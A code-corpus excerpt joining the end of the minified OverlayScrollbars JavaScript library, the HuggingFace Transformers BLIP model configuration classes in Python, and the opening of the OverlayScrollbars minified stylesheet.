pt="v"===v,bt="h"===v,mt="a"===v,gt=function(n,t){t=t===di?n:t,Ye(!0,n,qn.x),Ye(!1,t,qn.y)};li(Yt,ke,$n.x||$n.y),li(Yt,Ie,$n.x),li(Yt,Te,$n.y),V&&!Rt&&li(Yt,Se,Qt),Rt&&ci(Yt,ze),O&&(li(Yt,ze,Jr),li(ir,Re,!Jr),li(ir,Ne,Zr),li(ir,We,ne),li(ir,Me,te)),(h||N||$n.c||Vn.c||H)&&(A?H&&(si(Yt,Ce),A&>(!1)):mt?gt(qn.x,qn.y):pt?gt(!0):bt&>(!1)),(p||H)&&(Ue(!Kr&&!Gr),Ge(Xr,!Xr)),(e||Un.c||fn||en||O||q||z||H||V)&&(Ke(!0),Je(!0),Ke(!1),Je(!1)),m&&Ze(!0,b),w&&Ze(!1,g),ti("onDirectionChanged",{isRTL:Qt,dir:U},V),ti("onHostSizeChanged",{width:lr.w,height:lr.h},e),ti("onContentSizeChanged",{width:vr.w,height:vr.h},i),ti("onOverflowChanged",{x:Vn.x,y:Vn.y,xScrollable:$n.xs,yScrollable:$n.ys,clipped:$n.x||$n.y},Vn.c||$n.c),ti("onOverflowAmountChanged",{x:Un.x,y:Un.y},Un.c)}Rt&&Ur&&(dr.c||Ur.c)&&(Ur.f||Ve(),St.y&&dr.x&&nr.css(ve+de,Ur.w+zt.y),St.x&&dr.y&&nr.css(ve+pe,Ur.h+zt.x),Ur.c=!1),Ht&&u.updateOnLoad&&Xe(),ti("onUpdated",{forced:o})}}function Xe(){Lt||mt(function(n,t){nr.find(t).each(function(n,t){Oi.inA(t,Qn)<0&&(Qn.push(t),Ci(t).off(Bn,rt).on(Bn,rt))})})}function ot(n){var t=Ii.O(n,Ii._,!0,u);return u=ai({},u,t.S),Vt=ai({},Vt,t.z),t.z}function ut(e){var n="parent",t=mn+xe+Cn,r=Lt?xe+Cn:me,i=Vt.textarea.inheritedAttrs,o={},u=function(){var r=e?Xt:Yt;h(o,function(n,t){cn(t)==gi&&(n==xi.c?r.addClass(t):r.attr(n,t))})},f=[rn,en,on,ze,Se,un,fn,an,Ce,ke,Ie,Te,De,mn,Cn,Mr].join(xe),a={};Yt=Yt||(Lt?p?Xt[n]()[n]()[n]()[n]():Ci(ui(on)):Xt),nr=nr||pt(_n+r),Zt=Zt||pt(yn+r),Jt=Jt||pt(wn+r),Kt=Kt||pt("os-resize-observer-host"),er=er||(Lt?pt(gn):di),p&&ci(Yt,en),e&&si(Yt,f),i=cn(i)==gi?i.split(xe):i,Oi.isA(i)&&Lt&&h(i,function(n,t){cn(t)==gi&&(o[t]=e?Yt.attr(t):Xt.attr(t))}),e?(p&&Ht?(Kt.children().remove(),h([Jt,Zt,nr,er],function(n,t){t&&si(t.removeAttr(xi.s),Dn)}),ci(Yt,Lt?on:rn)):(gt(Kt),nr.contents().unwrap().unwrap().unwrap(),Lt&&(Xt.unwrap(),gt(Yt),gt(er),u())),Lt&&Xt.removeAttr(xi.s),Rt&&si(c,tn)):(Lt&&(Vt.sizeAutoCapable||(a[de]=Xt.css(de),a[pe]=Xt.css(pe)),p||Xt.addClass(Cn).wrap(Yt),Yt=Xt[n]().css(a)),p||(ci(Xt,Lt?t:rn),Yt.wrapInner(nr).wrapInner(Zt).wrapInner(Jt).prepend(Kt),nr=wt(Yt,R+_n),Zt=wt(Yt,R+yn),Jt=wt(Yt,R+wn),Lt&&(nr.prepend(er),u())),It&&ci(Zt,Ae),St.x&&St.y&&ci(Zt,xn),Rt&&ci(c,tn),H=Kt[0],ur=Yt[0],ar=Jt[0],cr=Zt[0],sr=nr[0],it())}function ft(){var r,t,e=[112,113,114,115,116,117,118,119,120,121,123,33,34,37,38,39,40,16,17,18,19,20,144],i=[],n="focus";function o(n){$e(),Ot.update(ge),n&&kt&&clearInterval(r)}Lt?(9<D||!kt?Yn(Xt,"input",o):Yn(Xt,[Y,G],[function u(n){var t=n.keyCode;sn(t,e)<0&&(i[xi.l]||(o(),r=setInterval(o,1e3/60)),sn(t,i)<0&&i.push(t))},function f(n){var t=n.keyCode,r=sn(t,i);sn(t,e)<0&&(-1<r&&i.splice(r,1),i[xi.l]||o(!0))}]),Yn(Xt,[we,"drop",n,n+"out"],[function a(n){return Xt[_e](Ct.i&&Wr?9999999:0),Xt[Oe](0),Oi.prvD(n),Oi.stpP(n),!1},function c(n){setTimeout(function(){Et||o()},50)},function s(){$r=!0,ci(Yt,n)},function l(){$r=!1,i=[],si(Yt,n),o(!0)}])):Yn(nr,J,function v(n){!0!==Tr&&function l(n){if(!Ht)return 1;var t="flex-grow",r="flex-shrink",e="flex-basis",i=[de,ve+de,he+de,oe+le,oe+ce,le,ce,"font-weight","word-spacing",t,r,e],o=[ue+le,ue+ce,fe+le+de,fe+ce+de],u=[pe,ve+pe,he+pe,oe+ae,oe+se,ae,se,"line-height",t,r,e],f=[ue+ae,ue+se,fe+ae+de,fe+se+de],a="s"===Cr.x||"v-s"===Cr.x,c=!1,s=function(n,t){for(var r=0;r<n[xi.l];r++)if(n[r]===t)return!0;return!1};return("s"===Cr.y||"v-s"===Cr.y)&&((c=s(u,n))||Nt||(c=s(f,n))),a&&!c&&((c=s(i,n))||Nt||(c=s(o,n))),c}((n=n.originalEvent||n).propertyName)&&Ot.update(ge)}),Yn(Zt,we,function h(n){Ut||(t!==di?clearTimeout(t):((Yr||Gr)&&Ge(!0),dt()||ci(Yt,Ce),ti("onScrollStart",n)),Q||(Je(!0),Je(!1)),ti("onScroll",n),t=setTimeout(function(){Et||(clearTimeout(t),t=di,(Yr||Gr)&&Ge(!1),dt()||si(Yt,Ce),ti("onScrollStop",n))},175))},!0)}function at(i){var n,t,o=function(n){var t=pt(kn+xe+(n?Nn:Wn),!0),r=pt(In,t),e=pt(An,t);return p||i||(t.append(r),r.append(e)),{cn:t,sn:r,ln:e}};function r(n){var t=ni(n),r=t.cn,e=t.sn,i=t.ln;p&&Ht?h([r,e,i],function(n,t){si(t.removeAttr(xi.s),Dn)}):gt(r||o(n).cn)}i?(r(!0),r()):(n=o(!0),t=o(),a=n.cn,s=n.sn,l=n.ln,v=t.cn,b=t.sn,m=t.ln,p||(Jt.after(v),Jt.after(a)))}function ct(S){var z,i,C,k,e=ni(S),I=e.vn,t=x.top!==x,T=e.Q,r=e.Z,A=we+e.J,o="active",u="snapHandle",f="click",H=1,a=[16,17];function c(n){return D&&t?n["screen"+r]:Oi.page(n)[T]}function s(n){return Vt.scrollbars[n]}function l(){H=.5}function v(){H=1}function h(n){Oi.stpP(n)}function E(n){-1<sn(n.keyCode,a)&&l()}function L(n){-1<sn(n.keyCode,a)&&v()}function R(n){var t=(n.originalEvent||n).touches!==di;return!(Ut||Et||dt()||!Rr||t&&!s("touchSupport"))&&(1===Oi.mBtn(n)||t)}function d(n){if(R(n)){var t=I.F,r=I.M,e=I.N*((c(n)-C)*k/(t-r));e=isFinite(e)?e:0,Qt&&S&&!Ct.i&&(e*=-1),Zt[A](Si.round(i+e)),Q&&Je(S,i+e),w||Oi.prvD(n)}else N(n)}function N(n){if(n=n||n.originalEvent,Xn(P,[$,V,Y,G,K],[d,N,E,L,tt],!0),Oi.rAF()(function(){Xn(P,f,h,!0,{V:!0})}),Q&&Je(S,!0),Q=!1,si(j,Mn),si(e.ln,o),si(e.sn,o),si(e.cn,o),k=1,v(),z!==(C=i=di)&&(Ot.scrollStop(),clearTimeout(z),z=di),n){var t=ur[xi.bCR]();n.clientX>=t.left&&n.clientX<=t.right&&n.clientY>=t.top&&n.clientY<=t.bottom||Zn(),(Yr||Gr)&&Ge(!1)}}function W(n){i=Zt[A](),i=isNaN(i)?0:i,(Qt&&S&&!Ct.n||!Qt)&&(i=i<0?0:i),k=vt()[T],C=c(n),Q=!s(u),ci(j,Mn),ci(e.ln,o),ci(e.cn,o),Xn(P,[$,V,K],[d,N,tt]),Oi.rAF()(function(){Xn(P,f,h,!1,{V:!0})}),!D&&y||Oi.prvD(n),Oi.stpP(n)}Yn(e.ln,U,function p(n){R(n)&&W(n)}),Yn(e.sn,[U,q,X],[function M(n){if(R(n)){var h,t=e.vn.M/Math.round(Si.min(1,ee[e.j]/vr[e.j])*e.vn.F),d=Si.round(ee[e.j]*t),p=270*t,b=400*t,m=e.sn.offset()[e.B],r=n.ctrlKey,g=n.shiftKey,w=g&&r,y=!0,x=function(n){Q&&Je(S,n)},_=function(){x(),W(n)},O=function(){if(!Et){var n=(C-m)*k,t=I.W,r=I.F,e=I.M,i=I.N,o=I.L,u=p*H,f=y?Si.max(b,u):u,a=i*((n-e/2)/(r-e)),c=Qt&&S&&(!Ct.i&&!Ct.n||Wr),s=c?t<n:n<t,l={},v={easing:"linear",step:function(n){Q&&(Zt[A](n),Je(S,n))}};a=isFinite(a)?a:0,a=Qt&&S&&!Ct.i?i-a:a,g?(Zt[A](a),w?(a=Zt[A](),Zt[A](o),a=c&&Ct.i?i-a:a,a=c&&Ct.n?-a:a,l[T]=a,Ot.scroll(l,ai(v,{duration:130,complete:_}))):_()):(h=y?s:h,(c?h?n<=t+e:t<=n:h?t<=n:n<=t+e)?(clearTimeout(z),Ot.scrollStop(),z=di,x(!0)):(z=setTimeout(O,f),l[T]=(h?"-=":"+=")+d,Ot.scroll(l,ai(v,{duration:u}))),y=!1)}};r&&l(),k=vt()[T],C=Oi.page(n)[T],Q=!s(u),ci(j,Mn),ci(e.sn,o),ci(e.cn,o),Xn(P,[V,Y,G,K],[N,E,L,tt]),O(),Oi.prvD(n),Oi.stpP(n)}},function b(n){B=!0,(Yr||Gr)&&Ge(!0)},function m(n){B=!1,(Yr||Gr)&&Ge(!1)}]),Yn(e.cn,U,function g(n){Oi.stpP(n)}),F&&Yn(e.cn,J,function(n){n.target===e.cn[0]&&(Ke(S),Je(S))})}function Ye(n,t,r){var e=n?a:v;li(Yt,n?un:fn,!t),li(e,En,!r)}function Ge(n,t){if(clearTimeout(k),n)si(a,Ln),si(v,Ln);else{var r,e=function(){B||Et||(!(r=l.hasClass("active")||m.hasClass("active"))&&(Yr||Gr||Kr)&&ci(a,Ln),!r&&(Yr||Gr||Kr)&&ci(v,Ln))};0<qr&&!0!==t?k=setTimeout(e,qr):e()}}function Ke(n){var t={},r=ni(n),e=r.vn,i=Si.min(1,ee[r.j]/vr[r.j]);t[r.K]=Si.floor(100*i*1e6)/1e6+"%",dt()||r.ln.css(t),e.M=r.ln[0]["offset"+r.hn],e.D=i}function Je(n,t){var r,e,i=cn(t)==wi,o=Qt&&n,u=ni(n),f=u.vn,a="translate(",c=_i.v("transform"),s=_i.v("transition"),l=n?Zt[_e]():Zt[Oe](),v=t===di||i?l:t,h=f.M,d=u.sn[0]["offset"+u.hn],p=d-h,b={},m=(cr[we+u.hn]-cr["client"+u.hn])*(Ct.n&&o?-1:1),g=function(n){return isNaN(n/m)?0:Si.max(0,Si.min(1,n/m))},w=function(n){var t=p*n;return t=isNaN(t)?0:t,t=o&&!Ct.i?d-h-t:t,t=Si.max(0,t)},y=g(l),x=w(g(v)),_=w(y);f.N=m,f.L=l,f.R=y,ln?(r=o?-(d-h-x):x,e=n?a+r+"px, 0)":a+"0, "+r+"px)",b[c]=e,F&&(b[s]=i&&1<Si.abs(x-f.W)?function O(n){var t=_i.v("transition"),r=n.css(t);if(r)return r;for(var e,i,o,u="\\s*(([^,(]+(\\(.+?\\))?)+)[\\s,]*",f=new RegExp(u),a=new RegExp("^("+u+")+$"),c="property duration timing-function delay".split(" "),s=[],l=0,v=function(n){if(e=[],!n.match(a))return n;for(;n.match(f);)e.push(RegExp.$1),n=n.replace(f,me);return e};l<c[xi.l];l++)for(i=v(n.css(t+"-"+c[l])),o=0;o<i[xi.l];o++)s[o]=(s[o]?s[o]+xe:me)+i[o];return s.join(", ")}(u.ln)+", "+(c+xe+250)+"ms":me)):b[u.B]=x,dt()||(u.ln.css(b),ln&&F&&i&&u.ln.one(J,function(){Et||u.ln.css(s,me)})),f.W=x,f.P=_,f.F=d}function Ze(n,t){var r=t?"removeClass":"addClass",e=n?b:m,i=n?Tn:Hn;(n?s:l)[r](i),e[r](i)}function ni(n){return{K:n?de:pe,hn:n?"Width":"Height",B:n?le:ae,J:n?"Left":"Top",Q:n?pn:bn,Z:n?"X":"Y",j:n?"w":"h",dn:n?"l":"t",sn:n?s:b,ln:n?l:m,cn:n?a:v,vn:n?vn:hn}}function st(n){ir=ir||pt(Rn,!0),n?p&&Ht?si(ir.removeAttr(xi.s),Dn):gt(ir):p||Yt.append(ir)}function ti(n,t,r){if(!1!==r)if(Ht){var e,i=Vt.callbacks[n],o=n;"on"===o.substr(0,2)&&(o=o.substr(2,1).toLowerCase()+o.substr(3)),cn(i)==bi&&i.call(Ot,t),h(jn,function(){cn((e=this).on)==bi&&e.on(o,t)})}else Et||Fn.push({n:n,a:t})}function ri(n,t,r){r=r||[me,me,me,me],n[(t=t||me)+ae]=r[0],n[t+ce]=r[1],n[t+se]=r[2],n[t+le]=r[3]}function ei(n,t,r,e){return t=t||me,n=n||me,{t:e?0:ii(Yt.css(n+ae+t)),r:r?0:ii(Yt.css(n+ce+t)),b:e?0:ii(Yt.css(n+se+t)),l:r?0:ii(Yt.css(n+le+t))}}function lt(n,t){var r,e,i,o=function(n,t){if(i="",t&&typeof n==gi)for(e=n.split(xe),r=0;r<e[xi.l];r++)i+="|"+e[r]+"$";return i};return new RegExp("(^"+rn+"([-_].+|)$)"+o(Mr,n)+o(Dr,t),"g")}function vt(){var n=ar[xi.bCR]();return{x:ln&&1/(Si.round(n.width)/ar[xi.oW])||1,y:ln&&1/(Si.round(n.height)/ar[xi.oH])||1}}function ht(n){var t="ownerDocument",r="HTMLElement",e=n&&n[t]&&n[t].parentWindow||vi;return typeof e[r]==pi?n instanceof e[r]:n&&typeof n==pi&&null!==n&&1===n.nodeType&&typeof n.nodeName==gi}function ii(n,t){var r=t?parseFloat(n):parseInt(n,10);return isNaN(r)?0:r}function dt(){return Ir&&St.x&&St.y}function oi(){return Lt?er[0]:sr}function ui(r,n){return"<div "+(r?cn(r)==gi?'class="'+r+'"':function(){var n,t=me;if(Ci.isPlainObject(r))for(n in r)t+=("c"===n?"class":n)+'="'+r[n]+'" ';return t}():me)+">"+(n||me)+"</div>"}function pt(n,t){var r=cn(t)==wi,e=!r&&t||Yt;return p&&!e[xi.l]?null:p?e[r?"children":"find"](R+n.replace(/\s/g,R)).eq(0):Ci(ui(n))}function bt(n,t){for(var r,e=t.split(R),i=0;i<e.length;i++){if(!n[xi.hOP](e[i]))return;r=n[e[i]],i<e.length&&cn(r)==pi&&(n=r)}return r}function mt(n){var t=Vt.updateOnLoad;t=cn(t)==gi?t.split(xe):t,Oi.isA(t)&&!Et&&h(t,n)}function fi(n,t,r){if(r)return r;if(cn(n)!=pi||cn(t)!=pi)return n!==t;for(var e in n)if("c"!==e){if(!n[xi.hOP](e)||!t[xi.hOP](e))return!0;if(fi(n[e],t[e]))return!0}return!1}function ai(){return Ci.extend.apply(this,[!0].concat([].slice.call(arguments)))}function ci(n,t){return e.addClass.call(n,t)}function si(n,t){return e.removeClass.call(n,t)}function li(n,t,r){return(r?ci:si)(n,t)}function gt(n){return e.remove.call(n)}function wt(n,t){return e.find.call(n,t).eq(0)}}return zi&&zi.fn&&(zi.fn.overlayScrollbars=function(n,t){return zi.isPlainObject(n)?(zi.each(this,function(){q(this,n,t)}),this):q(this,n)}),q}); |
27182812/ChatGLM-LLaMA-chinese-insturct | 17,473 | src/transformers/models/blip/configuration_blip.py | # coding=utf-8
# Copyright 2022 The HuggingFace Inc. team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" Blip model configuration"""
import copy
import os
from typing import Union
from ...configuration_utils import PretrainedConfig
from ...utils import logging
logger = logging.get_logger(__name__)
BLIP_PRETRAINED_CONFIG_ARCHIVE_MAP = {
"Salesforce/blip-vqa-base": "https://huggingface.co/Salesforce/blip-vqa-base/resolve/main/config.json",
"Salesforce/blip-vqa-capfit-large": (
"https://huggingface.co/Salesforce/blip-vqa-base-capfit/resolve/main/config.json"
),
"Salesforce/blip-image-captioning-base": (
"https://huggingface.co/Salesforce/blip-image-captioning-base/resolve/main/config.json"
),
"Salesforce/blip-image-captioning-large": (
"https://huggingface.co/Salesforce/blip-image-captioning-large/resolve/main/config.json"
),
"Salesforce/blip-itm-base-coco": "https://huggingface.co/Salesforce/blip-itm-base-coco/resolve/main/config.json",
"Salesforce/blip-itm-large-coco": "https://huggingface.co/Salesforce/blip-itm-large-coco/resolve/main/config.json",
"Salesforce/blip-itm-base-flikr": "https://huggingface.co/Salesforce/blip-itm-base-flikr/resolve/main/config.json",
"Salesforce/blip-itm-large-flikr": (
"https://huggingface.co/Salesforce/blip-itm-large-flikr/resolve/main/config.json"
),
}
class BlipTextConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`BlipTextModel`]. It is used to instantiate a BLIP
text model according to the specified arguments, defining the model architecture. Instantiating a configuration
with the defaults will yield a similar configuration to that of the `BlipText` used by the [base
architectures](https://huggingface.co/Salesforce/blip-vqa-base).
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
vocab_size (`int`, *optional*, defaults to 30522):
Vocabulary size of the `Blip` text model. Defines the number of different tokens that can be represented by
the `inputs_ids` passed when calling [`BlipModel`].
hidden_size (`int`, *optional*, defaults to 768):
Dimensionality of the encoder layers and the pooler layer.
encoder_hidden_size (`int`, *optional*, defaults to 768):
Dimensionality of the encoder layers from the vision model.
intermediate_size (`int`, *optional*, defaults to 3072):
Dimensionality of the "intermediate" (i.e., feed-forward) layer in the Transformer encoder.
num_hidden_layers (`int`, *optional*, defaults to 12):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 8):
Number of attention heads for each attention layer in the Transformer encoder.
max_position_embeddings (`int`, *optional*, defaults to 77):
The maximum sequence length that this model might ever be used with. Typically set this to something large
just in case (e.g., 512 or 1024 or 2048).
hidden_act (`str` or `function`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"selu"` and `"gelu_new"` ``"gelu"` are supported.
layer_norm_eps (`float`, *optional*, defaults to 1e-12):
The epsilon used by the layer normalization layers.
hidden_dropout_prob (`float`, *optional*, defaults to 0.0):
The dropout probability for all fully connected layers in the embeddings, encoder, and pooler.
attention_dropout (`float`, *optional*, defaults to 0.0):
The dropout ratio for the attention probabilities.
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
bos_token_id (`int`, *optional*, defaults to 30522):
The id of the `beginning-of-sequence` token.
eos_token_id (`int`, *optional*, defaults to 2):
The id of the `end-of-sequence` token.
pad_token_id (`int`, *optional*, defaults to 0):
The id of the `padding` token.
sep_token_id (`int`, *optional*, defaults to 102):
The id of the `separator` token.
is_decoder (`bool`, *optional*, defaults to `False`):
Whether the model is used as a decoder.
use_cache (`bool`, *optional*, defaults to `True`):
Whether or not the model should return the last key/values attentions (not used by all models).
Example:
```python
>>> from transformers import BlipTextConfig, BlipTextModel
>>> # Initializing a BlipTextConfig with Salesforce/blip-vqa-base style configuration
>>> configuration = BlipTextConfig()
>>> # Initializing a BlipTextModel (with random weights) from the Salesforce/blip-vqa-base style configuration
>>> model = BlipTextModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "blip_text_model"
def __init__(
self,
vocab_size=30524,
hidden_size=768,
encoder_hidden_size=768,
intermediate_size=3072,
projection_dim=768,
num_hidden_layers=12,
num_attention_heads=8,
max_position_embeddings=512,
hidden_act="gelu",
layer_norm_eps=1e-12,
hidden_dropout_prob=0.0,
attention_probs_dropout_prob=0.0,
initializer_range=0.02,
bos_token_id=30522,
eos_token_id=2,
pad_token_id=0,
sep_token_id=102,
is_decoder=True,
use_cache=True,
**kwargs,
):
super().__init__(
pad_token_id=pad_token_id,
bos_token_id=bos_token_id,
eos_token_id=eos_token_id,
sep_token_id=sep_token_id,
**kwargs,
)
self.vocab_size = vocab_size
self.hidden_size = hidden_size
self.encoder_hidden_size = encoder_hidden_size
self.intermediate_size = intermediate_size
self.projection_dim = projection_dim
self.hidden_dropout_prob = hidden_dropout_prob
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.max_position_embeddings = max_position_embeddings
self.layer_norm_eps = layer_norm_eps
self.hidden_act = hidden_act
self.initializer_range = initializer_range
self.attention_probs_dropout_prob = attention_probs_dropout_prob
self.is_decoder = is_decoder
self.use_cache = use_cache
@classmethod
def from_pretrained(cls, pretrained_model_name_or_path: Union[str, os.PathLike], **kwargs) -> "PretrainedConfig":
config_dict, kwargs = cls.get_config_dict(pretrained_model_name_or_path, **kwargs)
# get the text config dict if we are loading from BlipConfig
if config_dict.get("model_type") == "blip":
config_dict = config_dict["text_config"]
if "model_type" in config_dict and hasattr(cls, "model_type") and config_dict["model_type"] != cls.model_type:
logger.warning(
f"You are using a model of type {config_dict['model_type']} to instantiate a model of type "
f"{cls.model_type}. This is not supported for all configurations of models and can yield errors."
)
return cls.from_dict(config_dict, **kwargs)
class BlipVisionConfig(PretrainedConfig):
r"""
This is the configuration class to store the configuration of a [`BlipVisionModel`]. It is used to instantiate a
BLIP vision model according to the specified arguments, defining the model architecture. Instantiating a
configuration defaults will yield a similar configuration to that of the Blip-base
[Salesforce/blip-vqa-base](https://huggingface.co/Salesforce/blip-vqa-base) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
hidden_size (`int`, *optional*, defaults to 768):
Dimensionality of the encoder layers and the pooler layer.
intermediate_size (`int`, *optional*, defaults to 3072):
Dimensionality of the "intermediate" (i.e., feed-forward) layer in the Transformer encoder.
num_hidden_layers (`int`, *optional*, defaults to 12):
Number of hidden layers in the Transformer encoder.
num_attention_heads (`int`, *optional*, defaults to 12):
Number of attention heads for each attention layer in the Transformer encoder.
image_size (`int`, *optional*, defaults to 224):
The size (resolution) of each image.
patch_size (`int`, *optional*, defaults to 32):
The size (resolution) of each patch.
hidden_act (`str` or `function`, *optional*, defaults to `"gelu"`):
The non-linear activation function (function or string) in the encoder and pooler. If string, `"gelu"`,
`"relu"`, `"selu"` and `"gelu_new"` ``"gelu"` are supported.
layer_norm_eps (`float`, *optional*, defaults to 1e-5):
The epsilon used by the layer normalization layers.
attention_dropout (`float`, *optional*, defaults to 0.0):
The dropout ratio for the attention probabilities.
initializer_range (`float`, *optional*, defaults to 0.02):
The standard deviation of the truncated_normal_initializer for initializing all weight matrices.
Example:
```python
>>> from transformers import BlipVisionConfig, BlipVisionModel
>>> # Initializing a BlipVisionConfig with Salesforce/blip-vqa-base style configuration
>>> configuration = BlipVisionConfig()
>>> # Initializing a BlipVisionModel (with random weights) from the Salesforce/blip-vqa-base style configuration
>>> model = BlipVisionModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
```"""
model_type = "blip_vision_model"
def __init__(
self,
hidden_size=768,
intermediate_size=3072,
projection_dim=512,
num_hidden_layers=12,
num_attention_heads=12,
num_channels=3,
image_size=384,
patch_size=16,
hidden_act="gelu",
layer_norm_eps=1e-5,
attention_dropout=0.0,
initializer_range=1e-10,
**kwargs,
):
super().__init__(**kwargs)
self.hidden_size = hidden_size
self.intermediate_size = intermediate_size
self.projection_dim = projection_dim
self.num_hidden_layers = num_hidden_layers
self.num_attention_heads = num_attention_heads
self.num_channels = num_channels
self.patch_size = patch_size
self.image_size = image_size
self.initializer_range = initializer_range
self.attention_dropout = attention_dropout
self.layer_norm_eps = layer_norm_eps
self.hidden_act = hidden_act
@classmethod
def from_pretrained(cls, pretrained_model_name_or_path: Union[str, os.PathLike], **kwargs) -> "PretrainedConfig":
config_dict, kwargs = cls.get_config_dict(pretrained_model_name_or_path, **kwargs)
# get the vision config dict if we are loading from BlipConfig
if config_dict.get("model_type") == "blip":
config_dict = config_dict["vision_config"]
if "model_type" in config_dict and hasattr(cls, "model_type") and config_dict["model_type"] != cls.model_type:
logger.warning(
f"You are using a model of type {config_dict['model_type']} to instantiate a model of type "
f"{cls.model_type}. This is not supported for all configurations of models and can yield errors."
)
return cls.from_dict(config_dict, **kwargs)
class BlipConfig(PretrainedConfig):
r"""
[`BlipConfig`] is the configuration class to store the configuration of a [`BlipModel`]. It is used to instantiate
a BLIP model according to the specified arguments, defining the text model and vision model configs. Instantiating
a configuration with the defaults will yield a similar configuration to that of the BLIP-base
[Salesforce/blip-vqa-base](https://huggingface.co/Salesforce/blip-vqa-base) architecture.
Configuration objects inherit from [`PretrainedConfig`] and can be used to control the model outputs. Read the
documentation from [`PretrainedConfig`] for more information.
Args:
text_config (`dict`, *optional*):
Dictionary of configuration options used to initialize [`BlipTextConfig`].
vision_config (`dict`, *optional*):
Dictionary of configuration options used to initialize [`BlipVisionConfig`].
projection_dim (`int`, *optional*, defaults to 512):
Dimentionality of text and vision projection layers.
logit_scale_init_value (`float`, *optional*, defaults to 2.6592):
The inital value of the *logit_scale* paramter. Default is used as per the original BLIP implementation.
image_text_hidden_size (`int`, *optional*, defaults to 768):
Dimentionality of the hidden state of the image-text fusion layer.
kwargs (*optional*):
Dictionary of keyword arguments.
Example:
```python
>>> from transformers import BlipConfig, BlipModel
>>> # Initializing a BlipConfig with Salesforce/blip-vqa-base style configuration
>>> configuration = BlipConfig()
>>> # Initializing a BlipPModel (with random weights) from the Salesforce/blip-vqa-base style configuration
>>> model = BlipModel(configuration)
>>> # Accessing the model configuration
>>> configuration = model.config
>>> # We can also initialize a BlipConfig from a BlipTextConfig and a BlipVisionConfig
>>> # Initializing a BLIPText and BLIPVision configuration
>>> config_text = BlipTextConfig()
>>> config_vision = BlipVisionConfig()
>>> config = BlipConfig.from_text_vision_configs(config_text, config_vision)
```"""
model_type = "blip"
is_composition = True
def __init__(
self,
text_config=None,
vision_config=None,
projection_dim=512,
logit_scale_init_value=2.6592,
image_text_hidden_size=256,
**kwargs,
):
super().__init__(**kwargs)
# If `_config_dict` exist, we use them for the backward compatibility.
text_config_dict = kwargs.pop("text_config_dict", None)
vision_config_dict = kwargs.pop("vision_config_dict", None)
if text_config_dict is not None:
text_config = text_config_dict
if vision_config_dict is not None:
vision_config = vision_config_dict
if text_config is None:
text_config = {}
logger.info("text_config is None. Initializing the BlipTextConfig with default values.")
if vision_config is None:
vision_config = {}
logger.info("vision_config is None. initializing the BlipVisionConfig with default values.")
self.text_config = BlipTextConfig(**text_config)
self.vision_config = BlipVisionConfig(**vision_config)
self.text_config.encoder_hidden_size = self.vision_config.hidden_size
self.projection_dim = projection_dim
self.logit_scale_init_value = logit_scale_init_value
self.initializer_factor = 1.0
self.initializer_range = 0.02
self.image_text_hidden_size = image_text_hidden_size
@classmethod
def from_text_vision_configs(cls, text_config: BlipTextConfig, vision_config: BlipVisionConfig, **kwargs):
r"""
Instantiate a [`BlipConfig`] (or a derived class) from blip text model configuration and blip vision model
configuration.
Returns:
[`BlipConfig`]: An instance of a configuration object
"""
return cls(text_config=text_config.to_dict(), vision_config=vision_config.to_dict(), **kwargs)
def to_dict(self):
"""
Serializes this instance to a Python dictionary. Override the default [`~PretrainedConfig.to_dict`].
Returns:
`Dict[str, any]`: Dictionary of all the attributes that make up this configuration instance,
"""
output = copy.deepcopy(self.__dict__)
output["text_config"] = self.text_config.to_dict()
output["vision_config"] = self.vision_config.to_dict()
output["model_type"] = self.__class__.model_type
return output
|
2740908911/Pilot-Web | 20,009 | pilot-client/plugins/overlayScrollbars/css/OverlayScrollbars.min.css | /*!
* OverlayScrollbars
* https://github.com/KingSora/OverlayScrollbars
*
* Version: 1.13.0
*
* Copyright KingSora | Rene Haas.
* https://github.com/KingSora
*
* Released under the MIT license.
* Date: 02.08.2020
*/
html.os-html,html.os-html>.os-host{display:block;overflow:hidden;box-sizing:border-box;height:100%!important;width:100%!important;min-width:100%!important;min-height:100%!important;margin:0!important;position:absolute!important}html.os-html>.os-host>.os-padding{position:absolute}body.os-dragging,body.os-dragging *{cursor:default}.os-host,.os-host-textarea{position:relative;overflow:visible!important;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start;-ms-flex-line-pack:start;align-content:flex-start;-webkit-box-align:start;-ms-flex-align:start;-ms-grid-row-align:flex-start;align-items:flex-start}.os-host-flexbox{overflow:hidden!important;display:-webkit-box;display:-ms-flexbox;display:flex}.os-host-flexbox>.os-size-auto-observer{height:inherit!important}.os-host-flexbox>.os-content-glue{-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;-ms-flex-negative:0;flex-shrink:0}.os-host-flexbox>.os-size-auto-observer,.os-host-flexbox>.os-content-glue{min-height:0;min-width:0;-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0;-ms-flex-negative:1;flex-shrink:1;-ms-flex-preferred-size:auto;flex-basis:auto}#os-dummy-scrollbar-size{position:fixed;opacity:0;-ms-filter:'progid:DXImageTransform.Microsoft.Alpha(Opacity=0)';visibility:hidden;overflow:scroll;height:500px;width:500px}#os-dummy-scrollbar-size>div{width:200%;height:200%;margin:10px 